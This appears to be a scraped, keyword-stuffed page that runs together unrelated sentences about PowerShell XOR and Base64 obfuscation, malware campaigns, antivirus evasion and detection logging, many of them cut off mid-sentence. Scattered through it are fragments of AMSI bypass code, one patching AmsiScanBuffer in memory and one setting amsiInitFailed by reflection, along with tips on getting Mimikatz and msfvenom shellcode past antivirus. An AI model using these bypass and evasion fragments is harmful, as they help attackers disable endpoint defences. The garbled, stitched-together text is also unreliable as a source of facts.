asis2017 asisfinals2019 assembly autopsy backdoorctf backdoorctf2019 base64 bgb binwalk blackbox blindSignatures blindSqli blindsqli bmp boot_sector bruteforce bsidesSF byte2byte bytebybyte c++ ccc2019ctf cgi circuits comments compiled cookies cpa Simple obfuscation Crypto apprentices Android/PJapps, Java/Konov. This is part of CTF Exercise from SANS ICS CTF feat Dragos. PowerShell and C# provide a lot of low-profile attack paths. OBFUSCATION : Reading JPEG file. We can achieve this by obfuscating the shellcode generated by msfvenom using two common techniques: XOR and AES. , XOR-ing the content with a single byte) to avoid immediate detection. I used this tool several times for example to recover data from a broken RAID 5 or deobfuscate an obfuscated binary or image. This can be changed to whatever or even expanded upon to use XOR obfuscation methods etc as this is just for basic PoC. Once executed, it drops two libraries that are unique and are slightly modified at every iteration of the malware to thwart analysis each time the PowerShell successfully executes. I recently wrote a blog article on “Simple Obfuscation with PowerShell using Base64 Encoding” that you might also find interesting. The obvious one is Base64 encoding, but other encoding techiques (gzip, XOR, etc), string techniques (escaping, format string, concat, etc. The PowerShell script employs several layers of obfuscation to hide its actual functionality. The snippet shown in Figure 6 uses cmd. key = 'ABC123' def xor_str(data, xor_key): return ''. Once executed, the scripts main function is to connect with the C2 server to retrieve a payload. Once in 256 attempts on average the server will generate random key which after encryption in AES-CFB8 will generate a zero byte to XOR with. The truncating of syntax is also for obfuscation and anti-detection, and this is still a valid parameter because of how PowerShell handles parameter binding. The security researchers noticed that the macros used in this campaign are similar to those used in a campaign delivering the Ursnif banking Trojan. So here are the main points that I consider when using Invoke-Obfuscation for both commands and scripts: If you want obfuscation to persist into PowerShell script block logs (EID 4104) then token-layer obfuscation is a must. , in addition to the original obfuscated code. Once decoded it results in another PowerShell script that begins like the very first, with a Hex->ASCII obfuscation that gets invoked. And this parameter binding functionality extends beyond execution arguments. XOR obfuscation has achieved a certain level of notoriety. To my mind, obfuscation would be where the batch in it's non encoded form would be difficult to decipher. In response, malware authors move to algorithmic obfuscation – such as a simple XOR encoding mechanism in the scripts they run. First thing which comes in mind is to modify the shellcode to evade static signatures based on its content. In previous articles I briefly mentioned string and data obfuscation by using XOR “encryption” or Base64 encoding. Cobalt Strike is a pioneering toolkit used across multiple levels of intrusion to solve intruder’s difficulties such as post intrusion exploitation, stealth, and reconnaissance, and The file jurhtcbvj. The second module is used by the operators to execute an obfuscated PowerShell script, which contains a Meterpreter downloader widely known as “Tinymet“. This downloader, seen in past FIN7 campaigns, downloads a one-byte XOR-encrypted (eg. The goal of this lab is to reduce detection of the custom payloads by signature-based anti-malware. Details DECRYPT is a set of Splunk commands which provide Base32, Base64, XOR, ROTX, RC4 and ROL/ROR routines which are commonly used for obfuscating malware communications and data exfiltration. There is nps. Rather, the focus falls on a given sequential design per se, which is encrypted ;Listing 29. However, an unusual technique in the sample is that the PowerShell script first converts some XOR obfuscated base16 encoded text into a C# script, which disables some of the Microsoft AV APIs to avoid the file being scanned as it is downloaded. This is because it is very easy to implement and easily hides your data from untrained eyes. These execution argument substrings (like -NoP, -NoPr, -NoPro, -NoProf, -NoProfi, and -NoProfil) are all valid ways of specifying an execution argument (like -NoProfile) because of how PowerShell handles parameter binding. 1) XOR. We wrote a blog post about the H1N1 dropper in August 2016, which referenced a string de-obfuscation script to handle multiple 32-bit value XOR, ADD, and SUB string obfuscation techniques. Even when I ran this file without writing it to disk using the […] Figure 1 shows the PowerShell script used to initiate the infection process. the DOS Obfuscation to get a better picture of this mess #1 #2 #3 The XorEncrypt() function immediately stood out. evtx files) and PowerShell commands including the logical XOR operator are often malicious, so it makes sense to look for processes that appear to be PowerShell executing in conjunction with a command line containing the -bxor operator. Function call obfuscation is a method that I learned from Sektor7's course, which is a great introductory course on custom tool creation. 2020-12-05T08:30:00-03:00 8:30 AM | Post sponsored by FaradaySEC | Multiuser Pentest Environment Zion3R. The script had a particularly low detection rate (2/57): After deobfuscating the script, this downloader conducted a few anti-virtual machine checks. The PowerShell logical operators connect expressions and statements, allowing you to use a single expression to test for multiple conditions. An important skill for any reverse engineer/malware analyst is to be able to create plugins to assist in statically decoding these strings and doing so across the entire disassembly database. It’s UTF8 so do not use this for powershell encoded commands. In the Technical Analysis below, we dissect an example where the method of obfuscation leveraged features of PowerShell, a tool that comes built in to Microsoft Windows. dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) [System. It just subtracts value 4 to decrypt the PowerShell command. text PowerShell now submits all script content (interactive and otherwise) to the registered antimalware engine – including additional calls for scripts the employ obfuscation or layer dynamic code evaluation. AmsiUtils' ). The key used to perform XOR encryption is a SHA256 hash of the master key. There is nps. The goal of this lab is to reduce detection of the custom payloads by signature based anti-malware. OpenVPN XOR Scramble; Here, the OpenVPN traffic is disguised using the simple XOR cipher, which replaces the values of the bits of data, that way the data packet inspection methods will not detect the OpenVPN signature. This is a simple script, written in Python, that perform a logical exclusion, XOR, on two files and saves the result in the destination file. XOR (Exclusive or) cipher – XOR is first of all a logical operation, but it can be used as a cipher. Conclusion It looks like Dridex’s developers decided to ditch the old XOR method and start protecting Math plays a central role in cryptography. GetField( 'amsiInitFailed' , 'NonPublic,Static' ). Speaking of which, malware developers have also taken advantage of this to prevent their malicious code from being detected. Inserted blocks of junk code, some could be generated using a polymorphic engine. 0/00 > Whois Scrambling OpenVPN-encrypted data with the XOR cipher makes it harder for systems such as the Great Firewall of China to detect. You should check his talk about powershell obfuscation where he presented the tool. This is another technique often used by threat actors to obfuscate their true actions and is used across various types of threats. For now, we use a static key that resides on the compromised DC to XOR the data. • XOR Brute Force • Decode Text PowerShell command was launched. (see code example at top of article) Figure 4: An example of an algorithmic obfuscation script. tmp is a PowerShell script filled with multiple unnecessary exclamation marks, most likely to further obfuscate itself. It is a tool which allows you to run PowerShell commands without using powershell. For example, the following statement uses the and operator and the or operator to connect three conditional statements. powershell. These operations include simple encoding like XOR or Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X. The entry 'Detecting Obfuscated PowerShell' was posted on November 13th, 2015 at 6:38 pm and is filed under Uncategorized. obfuscation, methods like these can lead to fully reverse engineering netlists. g. The goal of this lab is to execute a Powershell script and avoid to use the powershell. Unlike the hardware obfuscation method HARPOON [4], the proposed defense method here does not use an entrance-FSM scheme which can be vulnerable to REFSM [1] and fault injection attack. After the research, these are the steps that I found for function call obfuscation: [entropy@phiral. GetType( 'System. com We will use inbuilt PowerShell Logging in Windows 10 VM to deobfuscate PowerShell code used to deliver Emotet & Qakbot. The XOR operation is at the core of many more advanced ciphers. An important skill for any reverse engineer/malware analyst is to be able to create plugins to assist in statically decoding these strings and doing so across the entire disassembly database. 04-01-2020, 07:07 PM XOR & NOT decoder stub example. Think of it as encryption, because it obfuscates the data by computing an operation over it with a predefined key. It was created by Ben Ten in 2015. POWERSHELL INTERMEDIATE LOADER In most cases, based on the availability of active C2 connections, the next stage is a PowerShell script that is downloaded by the Jupyter C2 client as described in a previous section. The use of encoded PowerShell has grown exponentially in recent years. It follows a modular structure so in future new modules can be added with ease. Next Hacking Exposed: If HCva1 Xor Then Dim kNzVCr For example, in addition to recording the original obfuscated code, script block logging records the decoded commands passed with PowerShell’s -EncodedCommand argument, as well as those obfuscated with XOR, Base64, ROT13, encryption, etc. 168. Similarly, we can use an IDA script to deal with Qadars string obfuscation which is simply a XOR-based decoding algorithm in which each of the encoded strings has the following structure: struct EncodedString { DWORD len; char Encodedbuf[len]; // XOR encoded with a key} XORKEY = “4B57A7E012368BE9AA48” // found in sample while ( v12 < v16 ) You will come across the XOR Boolean operation being used for initialization of variables as xor eax,eax or as an elementary obfuscation device. Figure 10: Four-part XOR encoding of the phishing landing page. SetValue( $null , $true ) An interesting aspect of this DNS tunnel is the use of a simple obfuscation technique (i. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools. One year’s worth of intelligence helped us gain insight not only into the goals and motivations of Dexphot’s authors, but of cybercriminals in general. NET Framework” is the dependency. Carrie Roberts // * Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Example detection methods include running the macro downloader when a document is closed (using auto_close) rather than when it is opened (using auto_open). This cmdlet allows us to much more easily use PowerShell to write to a file. This video is intended to get you started creating IDA Plugins with Python, recognize the importance of deobfuscating strings and work on translating TIL PowerShell has an -XOR operator After reading a very insightful post on bitwise XOR logic (I haven't needed to work with bitwise operators super often) I tried this in PowerShell using the -bor operator. This portable reference to Windows PowerShell 3. The resulting script contains an additional base64-encoded string followed by a call to xor using decimal 35 and calls to func_get_proc_address, kernel32. " Obfuscated binary payload after an XOR operation you could use powershell to get the bytes from a specific block of file and use it foreach operator to xor the bytes like this $foo=(($c=gc . Using a custom or slightly-modified compression or encoding approach, PowerShell can be easily obfuscated and even ConstrainedLanguage and AMSI bypassed. ), downloading & executing in memory are just a few other ways that might help attackers stay under the radar. PSAmsi v1. For example, the default Invoke-Mimikatz parameters of -DumpCreds and -DumpCerts could actually be written instead as -DumpCr, -DumpCre, -DumpCred or -DumpCe, -DumpCer, -DumpCert. s . XOR) Hashing (e. I used this tool several times for example to recover data from a broken RAID 5 or deobfuscate an obfuscated binary or image. CyberChef encourages both technical and non-technical people to explore data formats, encryption and compression. Run PowerShell as Administrator and execute below command: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 If the returned State is “Enabled”, that means PowerShell 2. text:00415DBB 8B 56 04 mov edx, [esi+4] . The script itself decodes and executes a large blob of base64-encoded text and converts it into a huge byte array. In a nutshell, this executable XOR “decrypts” the datastring variable (which contains C# source code), compiles the source code into a DLL, and finally creates a thread and injects the DLL. 168. RSA NetWitness Application Rules: Following app rules are updated to Endpoint Content pack for 11. powershell xor obfuscation